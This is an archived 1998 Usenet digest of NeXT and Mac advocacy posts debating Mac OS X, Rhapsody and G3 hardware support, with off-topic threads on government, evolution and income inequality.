etc.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Those 2 guys are such the jokesters!
Date: Wed, 08 Jul 1998 13:51:08 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-0807981351080001@sdn-ar-001casbarp101.dialsprint.net>
Macintosh OS X, due out third quarter of 1999, was announced today to not
be Year 2000 compliant.
From macosrumors.com. This is a joke right?
--
So many pedestrians, so little time.
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: 9 Jul 1998 02:01:35 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6o189v$70j$1@lwnws01.ne.highway1.com>
References: <359A90F9.A546707D@alum.mit.edu> <359A9359.984C1A9D@exu.ericsson.se> <6ne590$238@shelob.afs.com> <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE494.B5F41988@nstar.net> <1dbndwa.gvcd5ht4ekf6N@hoorn17.multiweb.net> <359E65C0.77C48BC9@nstar.net> <6nrjao$bnb$1@news.spacelab.net> <35A18478.E8BE0DFD@nstar.net> <6o0b9j$nij$1@news.spacelab.net> <35A407FC.2184A3B4@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> wrote:
> No, Chuck; if you are rational and your evidence is sound, you are
> infallible. The only recourse, should a rational being act or conclude
> improperly, is to assume that his evidence was unsound. How do you plea?
Bwahahahahahaa! So young inexperience.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: jsamson@istar.ca (Jean-Paul Samson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 9 Jul 1998 02:01:32 GMT
Organization: Computing Science, U of Alberta, Edmonton, Canada
Message-ID: <6o189s$fg9$1@scapa.cs.ualberta.ca>
References: <6o0fib$kb1$1@lwnws01.ne.highway1.com> <6o0pqm$1s9$1@scapa.cs.ualberta.ca> <6o1109$j1k1@odie.mcleod.net>
In-Reply-To: <6o1109$j1k1@odie.mcleod.net>
On 07/08/98, "Michelle L. Buck" wrote:
>Ken Bereskin, Director of OS Technology, Apple Computer, gave a very
>interesting interview to Dr. Dobb's today. I am now even more
>depressed. I will leave it up to net wisdom to decide if YellowBox
>can now be considered completely dead.
I skimmed through the article. It seemed to express the same course
of action as was announced at the WWDC. Did I miss something?
Jean-Paul
--
-===================================================================-
Jean-Paul C. Samson -===- jeanpaul@cs.ualberta.ca (NeXTmail & MIME)
-=============- http://www.cs.ualberta.ca/~jeanpaul -=============-
-===================================================================-
"Microsoft is a fact of life. They're like the air we breathe.
Perhaps a better analogy is bottled water, because you have to buy
it." -- Steve Jobs, Apple Computer's Worldwide Developers
Conference, May 16th, 1997
-===================================================================-
From: gierkeNOSPAM@delaware.infi.net (Gierke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Those 2 guys are such the jokesters!
Date: Wed, 08 Jul 1998 21:24:24 -0500
Organization: Irish, and damn proud of it!
Message-ID: <gierkeNOSPAM-0807982124250001@pm1-53.ile.infi.net>
References: <macghod-0807981351080001@sdn-ar-001casbarp101.dialsprint.net>
"U.EX&yu;shPi:JdV.Sg##"chDE/06q{]1G]mN&P1(QUHO&!`lGw`xb8VKQ_acmZH>uO
=iA7N0YiXQ[MP$M~f([RK]J7<%R5JEKp%2sq`j<MLYko@`?eEcz'v,q!
In article <macghod-0807981351080001@sdn-ar-001casbarp101.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> Macintosh OS X, due out third quarter of 1999, was announced today to not
> be Year 2000 compliant.
>
> From macosrumors.com. This is a joke right?
Perhaps this will answer your questions:
(Taken directly from http://2guys.macosrumors.com/wednesday.html#night)
--Begin--
You freaking babies
Earlier today I joked that OS X would not be year 2000 compliant -- with
the release date set for near the end of 1999 and all the media hype about
year 2000 problems, I am stunned at the number of e-mails from people who
actually believed it. They didn't say anything, but let's just assume it
works, ok?
--End--
--
³I pledge to punch all switches, to never shoot where I could use
grenades, to admit the existence of no level except Total Carnage, to
never use Caps Lock as my Œrun¹ key, and to never, ever, leave a
single Bob alive.² -- Oath of the Vidmaster
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 8 Jul 1998 21:50:11 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6o0pij$mj5$1@camel21.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <6o0egj$nqg$1@news.spacelab.net> <rmcassid-0807981158550001@dante.eng.uci.edu> <35A3D7D2.102B8996@ericsson.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <HkJo1.2897$24.16714280@news.itd.umich.edu> ,
not@my.address.net writes:
>Question stands: If millions have been killed by their own governments this
>century, and this is the basis of your rational fear of the government, what
>steps are you going to take to protect yourself?
Why, that would be none of your d&*n business.
>
>
>>>
>>>If I arranged for a televised press conference to bring together some people
>>>who support Microsoft in their litigation with the Department of Justice,
>>>would you and MJP promise to come and repeat all this stuff about the
>>>government? You could tell it like it is -- antitrust legislation is as
>>>oppressive as a sales tax. Maybe you could bring even your guns, too. MJP
>>>could talk about how liberty is worth fighting, even dying for. And you could
>>>point out how many people have been killed by their own governments, and how
>>>paranoia is _irrational_ fear.
>>>
>>>Please?
>>
>>You cannot address my points logically, so you attempt argument by
>>rudeness and calumny.
>
>That's like saying someone made you look bad by quoting you.
No, it is an attempt by you to ridicule my position because it is out of
favor with the political class. Much like those who opposed slavery were
ridiculed for being overly radical and extreme in their day.
>
>>
>>BTW, over 100 million people have been killed by their own governments
>>this century. Far more than have been killed by enemy governments in
>>war, far more than have been killed by private individuals.
>>
>
>How many of those were killed by their own democratic government?
Nazi Germany's victims for starters.
Lots of others.
Matthew Cromer
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 8 Jul 1998 16:57:53 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980708164746.10070A-100000@ux10.cso.uiuc.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <6o0nr6$7kh$1@nnrp1.dejanews.com>
On Wed, 8 Jul 1998 aa158@valleynet.on.ca wrote:
> From the July 8 Macintouch:
>
> " Jobs also noted the following...
>
> 750,000 G3 systems, including tens of thousands of PowerBook G3's, have been
> sold."
>
> Comment: This would seem to be a strong incentive for Apple to get OS X
> running on machines other than just the G3 models.
Please note that I _want_ Apple to support older Macs than just the
PowerMac G3s, but...
Not really. 750,000 G32 systems have been sold _so_far_. Remember that
there is another year for Mac OS X to come out. In addition to the G3s,
there will be the iMacs which Apple is expecting to sell hundreds of
thousands of in its first few months, there will also be G4 machines by
that time. I can assure you that even if the iMac doesn't do quite as well
as is currently expected by Apple, that there will be well over a million
G3 PowerMacs for Mac OS X to run on. Chances are that there will be more
along the lines of 3 million G3/G4 PowerMacs.
Even if Apple sells 10 million G3 and future PowerMacs, I still think
Apple should support at least some of the first generation PCI PowerMacs.
This currently policy of "It might run. It might not. If it does't or you
have problems, buy a new machine" is not very heartening IMO.
BTW, the current rumors are that Mac OS X will run on the same systems
that Rhapsody will run on (in addition to any newer ones). It's just that
there is no "official" support for pre-Gossamer PowerMacs in Mac OS X. If
Rhapsody runs on your machine, Mac OS X probably will too, but if you have
problems, then Apple will not support you unless you own a G3 or later
machine.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
Subject: Re: Free (Microsoft Delays Win NT)
Newsgroups: comp.sys.next.advocacy
References: <359A90F9.A546707D@alum.mit.edu> <359A9359.984C1A9D@exu.ericsson.se> <6ne590$238@shelob.afs.com> <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE494.B5F41988@nstar.net> <1dbndwa.gvcd5ht4ekf6N@hoorn17.multiweb.net> <359E65C0.77C48BC9@nstar.net> <6nrjao$bnb$1@news.spacelab.net> <35A18478.E8BE0DFD@nstar.net> <6o0b9j$nij$1@news.spacelab.net> <35A407FC.2184A3B4@ericsson.com>
In-Reply-To: <35A407FC.2184A3B4@ericsson.com>
From: not@my.address.net
Message-ID: <syWo1.2965$24.17285705@news.itd.umich.edu>
Date: Thu, 09 Jul 1998 03:12:24 GMT
NNTP-Posting-Date: Wed, 08 Jul 1998 23:12:24 EDT
On 07/08/98, Michael Peck wrote:
>
>No, Chuck; if you are rational and your evidence is sound, you are
>infallible. The only recourse, should a rational being act or conclude
>improperly, is to assume that his evidence was unsound. How do you plea?
>
Why this dichotomy: infallible or irrational? If I wake up and notice that the
streets are wet, it's not irrational to infer that it rained last night. That
the streets are wet gives one reason for thinking that it rained even though
it's possible that it did not. Being rational is a matter of having beliefs
that track the available evidence; no more, no less.
--
invert: umich.edu jdevlin
insert: shift "2"
From: jpolaski@NO.wwa.com (Jim Polaski)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <jpolaski-0807982148290001@d151-216.ce.mediaone.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6o14ca$b2i$1@news12.ispnews.com>
Date: Thu, 09 Jul 1998 02:42:14 GMT
NNTP-Posting-Date: Wed, 08 Jul 1998 21:42:14 CDT
Organization: MediaOne Express -=- Central Region
In article <6o14ca$b2i$1@news12.ispnews.com>, "Zico"
<ZicoKnows@hotmail.com> wrote:
> x-no-archive: yes
>
> aa158@valleynet.on.ca wrote:
>
> >From the July 8 Macintouch:
> >
> >" Jobs also noted the following...
> >
> >750,000 G3 systems, including tens of thousands of PowerBook G3's, have been
> >sold."
> >
> >Comment: This would seem to be a strong incentive for Apple to get OS X
> >running on machines other than just the G3 models.
>
>
> Yeah, but you're thinking like a customer, not a business. The
> business thinking (whether right or wrong) is, "Q: How do we
> sell more than 'only 750,000' G3 computers? A: Make people
> using older ones have to buy a new one to use the new OS
> that we'll be hyping heavily." Since Apple makes a lot more
> money selling the hardware than OS upgrades, the economics
> say that they have more to gain by getting those older users
> to buy a G3 than they stand to lose by not making 50 bucks
> on each OS X upgrade sale to non-G3 Mac users.
>
=====
Nobody's going to hold a gun to anyone's head, who owns a older Mac to buy
a new one.
it is like the old addage that...
"you can lead a horse to water but you can't make him drink"
And everyone believed that....
Now my Dad, however, had a great piece of wisdom on this statment, which
he answered with a comment of his own. And I think Jobs was listening.
"The trick is not to make the horse drink. The real trick is to make the
horse thirsty!"
...and that is what Jobs is doing...
--
Regards,
Jim Polaski, jpolaski@NO.wwa.com Remove the "NO." to reply.
Polaski P/D/C, 15 West Hubbard, 4th FL, Chicago,Il 60610
...the measure of a man is what he will do for another man,
knowing he will get nothing in return.
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
Date: 8 Jul 1998 22:56:58 GMT
Organization: University of California at San Diego
Message-ID: <slrn6q7u9p.j00.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <359A90F9.A546707D@alum.mit.edu> <359A9359.984C1A9D@exu.ericsson.se> <6ne590$238@shelob.afs.com> <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE494.B5F41988@nstar.net> <1dbndwa.gvcd5ht4ekf6N@hoorn17.multiweb.net> <359E65C0.77C48BC9@nstar.net> <35a29bca.10515777@news.hex.net> <35A2A96A.4C492F62@ericsson.com>
On Tue, 07 Jul 1998 18:04:10 -0500, Michael Peck wrote:
:Peter Koren wrote:
:
:> Evolution is a process that thrives on the edge of chaos. It
:> is so powerful that bright folks are stealing some of its
:> methods to design things and processes. I just saw an
:> article about using genetic algorithms to design FPGAs.
:
:I've got a friend who loves to talk about this; he thinks it's the
:future of computer science.
:
:Anyway, you say that evolution thrives on the edge of chaos; what's
:chaotic about a genetic algorithm? I thought algorithms were ordered.
Genetic algorithms are interesting with nontrivial population dynamics.
Chaos arises in the presence of deterministic algorithms.
:> The
:> evolutionary process took advantage of the parasitics on the
:> chip, suprising the experimenters, to design a highly
:> successful filter, which the experimenters could not explain
:> because of the complexity of the non-linearities. These
:> designers created a combined analog-digital FPGA because a
:> simplified evolutionary algorithm could invent "clever"
:> constructs without even being told how. Einstein was wrong.
:
:Uh, no. The fact that the level of complexity inherent to the solution
:was beyond human ability to describe by no means demonstrates that
:either the algorithm or the solution was chaotic.
What it demonstrates is that an algorithm with boring,
unsophisticated, unthinking deterministic microdynamics, without any
built-in concept of order or understanding, may indeed generate
spontaneous and remarkably sophisticated solutions; solutions which to
the naive would imply a genius designer.
: If a man randomly puts
:dots onto the screen in the classic game of life and finds that,
:according to the rules of the game, certain patterns "evolve" into
:stable "lifeforms", would you say that the man's chaotic data entry was
:an example of chaos rising into order? Or would you instead say that a
:created order simply dictated random input in ordered ways, and that
:some input happened to result in stability because of that created
:order?
So, if you describe the laws of physics as "originally created order"
and discount any remarkable dynamical consequences which arise, nobody
will disagree.
:> Rubbish! In fact a Belgian physicist, Illya Prigogene, won a
:> Nobel Prize for describing the self organizing ability of
:> living systems within the restrictions of the laws of
:> thermodynamics.
:
:Your point?
You previously asserted an incorrect thermodynamic argument about this point.
: A group of flatworms with zero intelligence may have
:self-organizing ability, none of which demonstrates that such order
:arises spontaneously. There is fundamentally nothing to differentiate
:evolution from its precursor in science (spontaneous generation) except
:that its proponents have attached to it a number of discreet
:observations of existing order that, taken as a cohesive and holistic
:description of circumstances (they are anything but), are used to
:"prove" that life did, in fact, spontaneously arise from chaotic atoms.
Wow. The claim that evolution was not a fundamentally new concept in
science is like claiming that Newtonian mechanics is not any more advanced
than cave-man mechanics. (Before Galileo and Newton, that's all there
really was).
The reality is that these two have been the most remarkable, potent
and profound scientific discoveries in the history of the human species.
:MJP
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: paulsian@sprintmail.com (Paul Sian)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 08 Jul 1998 18:01:16 -0500
Organization: EarthLink Network, Inc.
Message-ID: <paulsian-0807981801170001@1cust21.tnt5.det3.da.uu.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com>
In article <6o0nr6$7kh$1@nnrp1.dejanews.com>, aa158@valleynet.on.ca wrote:
> From the July 8 Macintouch:
>
> " Jobs also noted the following...
>
> 750,000 G3 systems, including tens of thousands of PowerBook G3's, have been
> sold."
>
>
> Comment: This would seem to be a strong incentive for Apple to get OS X
> running on machines other than just the G3 models.
>
>
> Richard
>
Considering the fact that 750,000 as of today or some time real close and
the fact that OS X is supposed to be out sometime end of 99 doesn't
necessarily mean there is a strong incentive to put OS X on non G3
machines.
If the iMac sells as well as many are predicting there will be a whole lot
more G3 machines and higher by the time OS X comes out.
Although I do agree with you that it should be made accessible to non-G3
machines.
From: jsamson@istar.ca (Jean-Paul Samson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 8 Jul 1998 21:54:30 GMT
Organization: Computing Science, U of Alberta, Edmonton, Canada
Message-ID: <6o0pqm$1s9$1@scapa.cs.ualberta.ca>
References: <6o0fib$kb1$1@lwnws01.ne.highway1.com>
In-Reply-To: <6o0fib$kb1$1@lwnws01.ne.highway1.com>
On 07/08/98, John Kheit wrote:
>Well in reading through all the expo news everywhere it seems that
>Rhapsody will be called MacOSX.
Well, more specifically I've heard that it'll be called Mac OS X
Server. (It's cool, in the sense that it is an admission that
Mac OS X really is Rhapsody. On the downside... what a boring
name! :-))
Jean-Paul
--
-===================================================================-
Jean-Paul C. Samson -===- jeanpaul@cs.ualberta.ca (NeXTmail & MIME)
-=============- http://www.cs.ualberta.ca/~jeanpaul -=============-
-===================================================================-
"Microsoft is a fact of life. They're like the air we breathe.
Perhaps a better analogy is bottled water, because you have to buy
it." -- Steve Jobs, Apple Computer's Worldwide Developers
Conference, May 16th, 1997
-===================================================================-
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Loose end
Date: Wed, 08 Jul 1998 22:35:30 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35A43A82.D4027971@nstar.net>
References: <6o1676$hfk@newsb.netnews.att.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 9 Jul 1998 03:41:14 GMT
gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>
> Regarding the distribution of wealth in the US, circa 1992 :
> http://research.mpls.frb.fed.us/research/qr/qr2121.pdf
>
> lowest fifth : 0.39% of the total
> second fifth : 1.74%
> third fifth : 5.72%
> fourth fifth : 13.43%
> top fifth : 79.49%
>
> The above reference also discusses income and earnings distributions.
"Both the top 20 percent who are often called 'the rich' and the bottom
20 percent who are called 'the poor' represent a constantly changing set
of individuals. A study of income tax returns showed that more than
four-fifths of the individuals in the bottom 20 percent of those who
filed income tax returns in 1979 were no longer there by 1988. Slightly
more had reached the top bracket by 1988 than remained at the bottom...
"A University of Michigan study, for example, found that less than half
of the families followed from 1971 to 1978 remained in the same quintile
of the income distribution throughout those years...Nearly half of the
statistically defined 'poor' have air conditioning, more than half own
cars, and more than 20,000 'poor' households have their own heated
swimming pool or jacuzzi. Perhaps most revealing, the statistically
defined 'poor' spend an average of $1.94 for every dollar of income they
receive...
"Just as people from lower income brackets move up, so people from
higher income brackets move down, at least temporarily. Someone in
business or the professions who is having an off year financially may
receive an income for the year that falls in the lowest bracket. That
does not make these individuals poor -- except by statistical
definition...
"As a simple hypothetical example, imagine that each individual at age
20 begins his working career earning an annual income of $10,000 and --
for the sake of simplicity in following the arithmetic -- remains at
that level until he reaches age 30, when he receives a $10,000 raise,
and that such raises are repeated at each decade until his 60s, with his
income going back to zero when he retires at age 70. To maintain perfect
equality at each age, let us assume that all these individuals have
identical savings patterns. They each have the same notion as to what
their basic needs for 'subsistence' are (in this case, $5,000) and that
they will save 10 percent of whatever they earn above that, using the
rest to improve their current standard of living as their incomes rise
over time. What kind of statistics on income and wealth would emerge
from this situation of <i>perfect equality</i> in income, wealth, and
savings habits? Looking at the society as a whole, there would be a
remarkable amount of statistical inequality, as shown in the table
below:
|--------------------------------------------------------|
| AGE | ANNUAL | "SUBSISTENCE" | ANNUAL | LIFETIME |
| | INCOME | | SAVINGS | SAVINGS |
|--------------------------------------------------------|
| 20 | $10,000 | $5,000 | $ 500 | 0 |
|-----|----------|---------------|----------|------------|
| 30 | 20,000 | 5,000 | 1,500 | $ 5,000 |
|-----|----------|---------------|----------|------------|
| 40 | 30,000 | 5,000 | 2,500 | 20,000 |
|-----|----------|---------------|----------|------------|
| 50 | 40,000 | 5,000 | 3,500 | 45,000 |
|-----|----------|---------------|----------|------------|
| 60 | 50,000 | 5,000 | 4,500 | 80,000 |
|-----|----------|---------------|----------|------------|
| 70 | 0 | 5,000 | 0 | 125,000 |
|--------------------------------------------------------|
"Note what statistical disparities ("inequities") there are, even in a
hypothetical world of perfect equality over every lifetime. At a given
moment -- which is how most statistics are collected -- the top 17
percent of income earners have five times the income of the bottom 17
percent and the top 17 percent of savers have 25 times the savings of
the bottom 17 percent, not even counting those who have zero in either
category. If these data were aggregated and looked at in "class" terms,
we would find that 17 percent of the people have 45 percent of all the
accumulated savings in the whole society. Obviously, there would be
ample raw material here for alarums, moral indignation, and the
promulgation of "solutions" by the anointed."
Thomas Sowell, _The Vision of the Anointed_, 1995
MJP
Subject: Re: Microsoft Delays Win NT
Newsgroups: comp.sys.next.advocacy
References: <359A90F9.A546707D@alum.mit.edu> <6o0egj$nqg$1@news.spacelab.net> <rmcassid-0807981158550001@dante.eng.uci.edu> <35A3D7D2.102B8996@ericsson.com> <6o0pij$mj5$1@camel21.mindspring.com> <RITo1.2948$24.17168397@news.itd.umich.edu> <35A41682.CA191009@nstar.net>
In-Reply-To: <35A41682.CA191009@nstar.net>
From: not@my.address.net
Message-ID: <K0Xo1.2967$24.17304460@news.itd.umich.edu>
Date: Thu, 09 Jul 1998 03:44:42 GMT
NNTP-Posting-Date: Wed, 08 Jul 1998 23:44:42 EDT
On 07/08/98, "Michael J. Peck" wrote:
>
>That's funny; a man claims to be opposed to government in principle and
>declines to answer silly questions to a stranger on USENET.
The man claims to have a rational fear that the government will murder him; and
you think it's silly to ask what steps he's going to take to protect himself?
Still waiting for an answer, by the way. But he doesn't want to tell. Given
the seriousness of the percieved threat, however, you'd think that the situation
calls for extreme measures. That would also explain his reluctance to go
public. I mean, if you're gonna get them before they get you, you wouldn't
exactly want to advertise ...
>>
>> Nazi Germany wasn't a democracy.
>
>Hmmmm? The Weimar Republic was the government under which the Nazi
>regime was *elected* into power.
>
One of the first steps that Hitler took after becoming Chancellor was to disband
parliament. After that point, Germany was hardly democratic. It's not as if
anyone was going to vote the Nazis out of office.
--
invert: umich.edu jdevlin
insert: shift "2"
From: jbodner@pacbell.net (Jon Bodner)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 08 Jul 1998 21:46:55 -0700
Organization: Pacific Bell Internet Services
Message-ID: <jbodner-0807982146560001@ppp-207-214-148-66.snrf01.pacbell.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Pine.SOL.3.96.980708164746.10070A-100000@ux10.cso.uiuc.edu>
In article <Pine.SOL.3.96.980708164746.10070A-100000@ux10.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
:Not really. 750,000 G32 systems have been sold _so_far_. Remember that
:there is another year for Mac OS X to come out. In addition to the G3s,
:there will be the iMacs which Apple is expecting to sell hundreds of
:thousands of in its first few months, there will also be G4 machines by
:that time. I can assure you that even if the iMac doesn't do quite as well
:as is currently expected by Apple, that there will be well over a million
:G3 PowerMacs for Mac OS X to run on. Chances are that there will be more
:along the lines of 3 million G3/G4 PowerMacs.
:
:Even if Apple sells 10 million G3 and future PowerMacs, I still think
:Apple should support at least some of the first generation PCI PowerMacs.
:This currently policy of "It might run. It might not. If it does't or you
:have problems, buy a new machine" is not very heartening IMO.
:
:BTW, the current rumors are that Mac OS X will run on the same systems
:that Rhapsody will run on (in addition to any newer ones). It's just that
:there is no "official" support for pre-Gossamer PowerMacs in Mac OS X. If
:Rhapsody runs on your machine, Mac OS X probably will too, but if you have
:problems, then Apple will not support you unless you own a G3 or later
:machine.
More importantly, OS X is the NT of the Mac OS. It isn't originally
intented for the mass market; that's what Sonata's for. Apple (perhaps
rightly) figures that the power users and system admins who need OS X will
have PowerMac G3 computers by December 1999 (which is the realistic
release of OS X). Everyone else will use Sonata and its sucessors, until
the two merge at some point (probably when 604-based Macs are completely
obsolete in 3-5 years).
If you want/need OS X and need the fastest/cheapest Mac (sure you can buy
a 9600 and pop in a 300MHz G3 card), buy a G3 Mac now. If you can't or
won't fork over the cash right now, wait the 16-18 months and get the
latest and coolest machine then. You'll do better (either cheaper at
today's performance or much faster at today's price), anyway.
-jon
From: devnull@occam.com (Leon von Stauber)
Newsgroups: comp.sys.next.advocacy
Subject: NeXTstep -> NEXTSTEP -> OPENSTEP -> Rhapsody...
Date: 9 Jul 1998 05:35:05 GMT
Organization: Occam's Razor
Message-ID: <6o1kq9$53a$1@news.cmc.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Taking my cue from http://developer.apple.com/rhapsody/rhapfaq/2.html :
>Developers are free to discuss Rhapsody DR2 in public.
I wanted to mention one of my favorite Rhapsody tools: uname.
1) It's installed with the base system. :-)
2) It reports the OS version as 5.1. ;-)
_______________________________________________________________
Leon von Stauber http://www.occam.com/leonvs/
Occam's Razor, Game Designer <com.occam@leonvs>
Metapath Software, UNIX System Admin <com.metapath@lvonstau>
"We have not come to save you, but you will not die in vain!"
From: rhaneberg@BARNEYmindspring.com (Rob Haneberg)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 09 Jul 1998 01:37:58 -0400
Organization: MindSpring Enterprises
Message-ID: <rhaneberg-0907980137590001@user-38lde78.dialup.mindspring.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Pine.SOL.3.96.980708164746.10070A-100000@ux10.cso.uiuc.edu> <jbodner-0807982146560001@ppp-207-214-148-66.snrf01.pacbell.net>
In article
<jbodner-0807982146560001@ppp-207-214-148-66.snrf01.pacbell.net>,
jbodner@pacbell.net (Jon Bodner) wrote:
> More importantly, OS X is the NT of the Mac OS. It isn't originally
> intented for the mass market; that's what Sonata's for. Apple (perhaps
> rightly) figures that the power users and system admins who need OS X will
> have PowerMac G3 computers by December 1999 (which is the realistic
> release of OS X). Everyone else will use Sonata and its sucessors, until
> the two merge at some point (probably when 604-based Macs are completely
> obsolete in 3-5 years).
>
> If you want/need OS X and need the fastest/cheapest Mac (sure you can buy
> a 9600 and pop in a 300MHz G3 card), buy a G3 Mac now. If you can't or
> won't fork over the cash right now, wait the 16-18 months and get the
> latest and coolest machine then. You'll do better (either cheaper at
> today's performance or much faster at today's price), anyway.
>
> -jon
Anyone whose computer purchases are driven by what's "supposed to
happen" in 16-18 months should be beaten mercilessly with wet towels
bearing the word "Copland".
Also, for those counting the iMacs as a potential market for OS X, remember
that iMacs are "consumer" machines. I just can't see someone like my dad
buying totally new operating system software, and he's the kind of person
("Give him the Internet and a side order of AppleWorks") that's the target
for the iMac.
Rob.
--
Kill Barney for my email address.
From: stone@stoneentertainment.com (Kevin Stone)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 08 Jul 1998 23:23:11 -0600
Organization: Stone Entertainment
Message-ID: <stone-ya02408000R0807982323110001@news.enetis.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com>
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In article <6o0nr6$7kh$1@nnrp1.dejanews.com>, aa158@valleynet.on.ca wrote:
> From the July 8 Macintouch:
>
> " Jobs also noted the following...
>
> 750,000 G3 systems, including tens of thousands of PowerBook G3's, have been
> sold."
>
> Comment: This would seem to be a strong incentive for Apple to get OS X
> running on machines other than just the G3 models.
> Richard
As has been repeated countless times on these newsgroups, Apple stated that
MacOSX will be -->optimized<-- for the G3 processor, not that it will run
only on G3 systems. It is highly unlikely that MacOSX will run only on G3
systems becuase...
1. Apple has announced plans for an OSX port to Intel's X86 platform.
2. By the time MacOSX ships the G4 will have already been in mass
production for over 6 months.
I believe logic dictates that these two facts falsify the idea that MacOSX
will run only on G3 systems. Being a combination of Rhapsody and other
projects, in all likelyhood MacOSX will run on the same hardware that
Rhapsody runs on, namely all PCI based PowerMacs and some 603e based
PowerBooks. Though this too is speculative, I think it is far more
plausible than the fabrication that MacOSX will run only on G3 based
systems.
-Kevin Stone
Stone Entertainment
www.StoneEntertainment.com
(no email please)
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 9 Jul 1998 05:54:56 GMT
Organization: PANIX Public Access Internet and Unix, NYC
